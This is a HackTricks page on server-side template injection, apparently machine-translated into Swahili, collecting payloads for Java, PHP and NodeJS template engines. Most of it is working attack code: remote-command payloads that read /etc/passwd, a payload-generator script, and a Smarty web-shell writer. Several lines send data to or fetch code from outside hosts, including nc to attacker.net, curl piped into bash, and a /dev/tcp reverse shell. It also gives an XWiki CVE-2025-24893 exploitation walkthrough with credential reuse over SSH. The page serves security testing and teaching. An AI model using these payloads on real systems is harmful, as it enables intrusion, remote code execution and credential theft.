SSTI (Server Side Template Injection)
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Nini SSTI (Server-Side Template Injection)
Server-side template injection ni udhaifu unaotokea wakati attacker anaweza kuingiza malicious code ndani ya template inayotekelezwa kwenye server. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwa ni pamoja na Jinja.
Jinja ni injini maarufu ya template inayotumiwa katika web applications. Hebu tuchukulie mfano unaoonyesha kipande cha code chenye udhaifu kinachotumia Jinja:
output = template.render(name=request.args.get('name'))
Katika code hii yenye udhaifu, parameter name kutoka kwenye ombi la mtumiaji inapitishwa moja kwa moja kwenye template kwa kutumia function render. Hii inaweza kumruhusu mshambuliaji kuingiza code hatari ndani ya parameter name, na kusababisha server-side template injection.
Kwa mfano, mshambuliaji anaweza kutengeneza ombi lenye payload kama ifuatavyo:
http://vulnerable-website.com/?name={{bad-stuff-here}}
The payload {{bad-stuff-here}} imeingizwa kwenye parameter ya name. Payload hii inaweza kujumuisha maelekezo ya Jinja template ambayo yanamruhusu mshambuliaji kutekeleza code isiyoidhinishwa au kuudanganya template engine, na hivyo kuweza kupata udhibiti wa server.
Ili kuzuia Server-Side Template Injection vulnerabilities, developers wanapaswa kuhakikisha kwamba user input inasafishwa na kuthibitishwa ipasavyo kabla ya kuingizwa kwenye templates. Implementing input validation na kutumia context-aware escaping techniques kunaweza kusaidia kupunguza hatari ya vunjo hili.
Detection
Kugundua Server-Side Template Injection (SSTI), mwanzoni, fuzzing the template ni njia rahisi. Hii inahusisha kuingiza mfululizo wa herufi maalum (${{<%[%'"}}%\) ndani ya template na kuchambua tofauti katika majibu ya server kwa data ya kawaida ikilinganishwa na payload maalum. Viashiria vya udhaifu ni pamoja na:
- Makosa yanayotolewa (thrown errors), ambayo yanafunua udhaifu na pengine template engine.
- Kutoonekana kwa payload katika reflection, au sehemu zake kukosekana, ikimaanisha server inaitenda tofauti na data ya kawaida.
- Muktadha wa Plaintext: Tofautisha na XSS kwa kuangalia ikiwa server inatathmini template expressions (kwa mfano,
{{7*7}},${7*7}). - Muktadha wa Code: Thibitisha udhaifu kwa kubadilisha vigezo vya input. Kwa mfano, badilisha
greetingkatikahttp://vulnerable-website.com/?greeting=data.usernamekuona kama output ya server ni dinamiki au fasta, kama katikagreeting=data.username}}helloinaporudisha username.
Identification Phase
Kutambua template engine kunahusisha kuchambua ujumbe za makosa au kupima kwa mkono payload tofauti maalum za lugha mbalimbali. Payload za kawaida zinazosababisha makosa ni pamoja na ${7/0}, {{7/0}}, na <%= 7/0 %>. Kuangalia majibu ya server kwa operesheni za hisabati kunausaidia kubaini template engine husika.
Identification by payloads
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg
- Maelezo zaidi kwenye https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Tools
TInjA
skana yenye ufanisi ya SSTI + CSTI inayotumia polyglots bunifu
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Template Injection Table
meza ya mwingiliano inayojumuisha template injection polyglots zenye ufanisi zaidi pamoja na majibu yanayotarajiwa ya template engines 44 muhimu zaidi.
Exploits
Jumla
Katika wordlist hii unaweza kupata variables defined katika mazingira ya baadhi ya engines zilizotajwa hapa chini:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
Java
Java - Basic injection
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Pata vigezo vya mazingira ya mfumo
${T(java.lang.System).getenv()}
Java - Pata /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
Unaweza kujaribu payloads zako kwenye https://try.freemarker.apache.org
{{7*7}} = {{7*7}}${7*7} = 49#{7*7} = 49 -- (legacy)${7*'7'} Nothing${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Sandbox bypass
⚠️ inatumika tu kwenye Freemarker matoleo chini ya 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Taarifa zaidi
- Kwenye sehemu ya FreeMarker ya https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
Taarifa zaidi
- In Velocity section of https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
Katika Thymeleaf, jaribio la kawaida kwa udhaifu za SSTI ni expression ${7*7}, ambalo pia linatumika kwa template engine hii. Kwa uwezekano wa remote code execution, expressions kama zifuatazo zinaweza kutumika:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf inahitaji expressions hizi ziwe katika attributes maalum. Hata hivyo, expression inlining inasaidiwa kwa maeneo mengine ya template, ukitumia syntax kama [[...]] au [(...)]. Kwa hivyo, payload rahisi ya mtihani wa SSTI inaweza kuonekana kama [[${7*7}]].
Hata hivyo, uwezekano wa payload hii kufanya kazi kwa kawaida ni mdogo. Usanidi wa default wa Thymeleaf hauungi mkono uundaji wa template dinamiki; templates lazima ziwe zimeandaliwa mapema. Waendelezaji wangekuwa wanahitajika kutekeleza TemplateResolver yao wenyewe ili kuunda templates kutoka kwa strings kwa wakati halisi, jambo ambalo si la kawaida.
Thymeleaf pia inatoa expression preprocessing, ambapo expressions zilizo ndani ya underscores mbili (__...__) zinaprocess mapema. Kipengele hiki kinaweza kutumika katika ujenzi wa expressions, kama inavyoonyeshwa katika nyaraka za Thymeleaf:
#{selection.__${sel.code}__}
Mfano wa Udhaifu katika Thymeleaf
Angalia kipande cha msimbo kilicho hapa chini, ambacho kinaweza kutumika kwa exploitation:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
Hii inaonyesha kwamba ikiwa template engine itashughulikia pembejeo hizi vibaya, inaweza kusababisha remote code execution ikifikia URLs kama:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
Taarifa zaidi
Mfumo wa Spring (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Kupitisha vichujio
Unaweza kutumia misemo mbalimbali ya variable; ikiwa ${...} haitafanya kazi, jaribu #{...}, *{...}, @{...} au ~{...}.
- Soma
/etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- Script Maalum kwa ajili ya utengenezaji wa payload
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
Taarifa Zaidi
Spring View Manipulation (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
Pebble (Java)
{{ someString.toUPPERCASE() }}
Toleo la zamani la Pebble ( < version 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Toleo jipya la Pebble :
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava ni mradi wa chanzo huria uliotengenezwa na Hubspot, inapatikana kwenye https://github.com/HubSpot/jinjava/
Jinjava - Command execution
Imerekebishwa na https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Taarifa zaidi
Hubspot - HuBL (Java)
{% %}mipaka ya kauli{{ }}mipaka ya usemi{# #}mipaka ya maoni{{ request }}- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}- “A”{{'a'.concat('b')}}- “ab”{{'a'.getClass()}}- java.lang.String{{request.getClass()}}- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Tafuta “com.hubspot.content.hubl.context.TemplateContextRequest” na ugundue mradi wa Jinjava kwenye Github: https://github.com/HubSpot/jinjava/.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Taarifa zaidi
Expression Language - EL (Java)
${"aaaa"}- “aaaa”${99999+1}- 100000.#{7*7}- 49${{7*7}}- 49${{request}}, ${{session}}, {{faceContext}}
Expression Language (EL) ni sifa muhimu inayorahisisha mwingiliano kati ya presentation layer (kama web pages) na application logic (kama managed beans) katika JavaEE. Inatumiwa sana katika teknolojia mbalimbali za JavaEE ili kurahisisha mawasiliano haya. Teknolojia kuu za JavaEE zinazotumia EL ni:
- JavaServer Faces (JSF): Inatumia EL kuunganisha components katika kurasa za JSF na data na actions za backend zinazolingana.
- JavaServer Pages (JSP): EL inatumiwa katika JSP kufikia na kuhariri data ndani ya kurasa za JSP, ikifanya iwe rahisi kuunganisha vipengele vya ukurasa na data ya application.
- Contexts and Dependency Injection for Java EE (CDI): EL inaunganishwa na CDI kuruhusu mwingiliano usio na mshono kati ya web layer na managed beans, kuhakikisha muundo wa application uliounganishwa zaidi.
Angalia ukurasa ufuatao kujifunza zaidi kuhusu exploitation of EL interpreters:
Groovy (Java)
Bypass zifuatazo za Security Manager zilichukuliwa kutoka kwenye writeup.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
XWiki SolrSearch Groovy RCE (CVE-2025-24893)
XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) hutoa RSS search feeds zisizo za kuidhinishwa kupitia macro Main.SolrSearch. Handler inachukua parameter ya query text, kuiweka ndani ya wiki syntax na kutekeleza macros, hivyo kuingiza }}} ikifuatiwa na {{groovy}} hutekeleza arbitrary Groovy kwenye JVM.
- Fingerprint & scope – Wakati XWiki iko reverse-proxied nyuma ya host-based routing, fuzz header ya
Host(ffuf -u http://<ip> -H "Host: FUZZ.target" ...) ili kugundua wiki vhost, kisha browse/xwiki/bin/view/Main/na soma footer (XWiki Debian 15.10.8) kuthibitisha build iliyo hatarini. - Trigger SSTI – Request
/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. The RSS item<title>itakuwa na Groovy output. Always “URL-encode all characters” ili nafasi zibaki kama%20; kuzibadilisha kuwa+kutasababisha XWiki kurudisha HTTP 500. - Run OS commands – Swap the Groovy body for
{{groovy}}println("id".execute().text){{/groovy}}.String.execute()inazaa (spawn) amri moja kwa moja kwa kutumiaexecve(), hivyo shell metacharacters (|,>,&) hazitafsiriwi. Tumia download-and-execute pattern badala yake:
"curl http://ATTACKER/rev -o /dev/shm/rev".execute().text"bash /dev/shm/rev".execute().text(script ina mantiki ya reverse shell).
- Post exploitation – XWiki inaweka database credentials katika
/etc/xwiki/hibernate.cfg.xml; leakinghibernate.connection.passwordhutoa password za system halisi ambazo zinaweza kutumika tena kwa SSH. Ikiwa service unit imewekaNoNewPrivileges=true, zana kama/bin/suhazitapata privileges za ziada hata kwa password sahihi, hivyo pivot via SSH badala ya kutegemea local SUID binaries.
Ipayload ile ile inafanya kazi kwenye /xwiki/bin/get/Main/SolrSearch, na Groovy stdout daima imejumuishwa katika RSS title, hivyo ni rahisi ku-script enumeration ya amri.
Java nyingine
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
Taarifa zaidi
- Kwenye sehemu ya Smarty ya https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49${7*7} = ${7*7}{{7*'7'}} = 49{{1/0}} = Hitilafu{{foobar}} Hakuna chochote
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - Muundo wa kiolezo
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Maelezo zaidi
- Katika sehemu ya Twig na Twig (Sandboxed) ya https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Plates ni injini ya templates ya asili kwa PHP, ikichukua msukumo kutoka Twig. Hata hivyo, tofauti na Twig, ambayo inaleta sintaksi mpya, Plates inatumia msimbo asilia wa PHP ndani ya templates, kuifanya iwe rahisi kueleweka kwa watengenezaji wa PHP.
Controller:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
Kiolezo cha ukurasa:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
Kiolezo cha mpangilio:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
Taarifa zaidi
PHPlib na HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB ni sawa na PHPlib lakini imehamishwa kwa Pear.
authors.tpl
<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
authors.php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Maelezo zaidi
PHP Nyingine
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg
- Taarifa zaidi katika https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Maelezo zaidi
- Katika sehemu ya Jade ya https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade–codepen
patTemplate (PHP)
patTemplate injini ya template ya PHP ambayo haiwezi ku-compile, inayotumia tagi za XML kugawanya hati katika sehemu tofauti
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Maelezo zaidi
Handlebars (NodeJS)
Path Traversal (maelezo zaidi here).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = Hitilafu
- ${7*7} = ${7*7}
- Hakuna kitu
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
Taarifa zaidi
JsRender (NodeJS)
| Kiolezo | Maelezo |
|---|---|
| Tathmini na onyesha matokeo | |
| Tathmini na onyesha output iliyokodishwa kwa HTML | |
| Maoni | |
| na | Ruhusu code (imezimwa kwa chaguo-msingi) |
- = 49
Upande wa Mteja
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Upande wa Seva
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Taarifa zaidi
PugJs (NodeJS)
#{7*7} = 49#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Mfano wa server side render
var pugjs = require("pug")
home = pugjs.render(injected_page)
Taarifa zaidi
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = Hakuna matokeo
- #{7*7} = #{7*7}
- {{console.log(1)}} = Hitilafu
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}
Taarifa zaidi
Sandboxes za expression za NodeJS (vm2 / isolated-vm)
Baadhi ya watengenezaji wa workflow hutathmini expressions zinazodhibitiwa na watumiaji ndani ya sandboxes za Node (vm2 / isolated-vm), lakini muktadha wa expression bado unaonyesha this.process.mainModule.require. Hii inamruhusu mshambuliaji kupakia child_process na kutekeleza amri za OS hata wakati nodi maalum za “Execute Command” zimezimwa:
={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
NodeJS Nyingine
 (1).png)
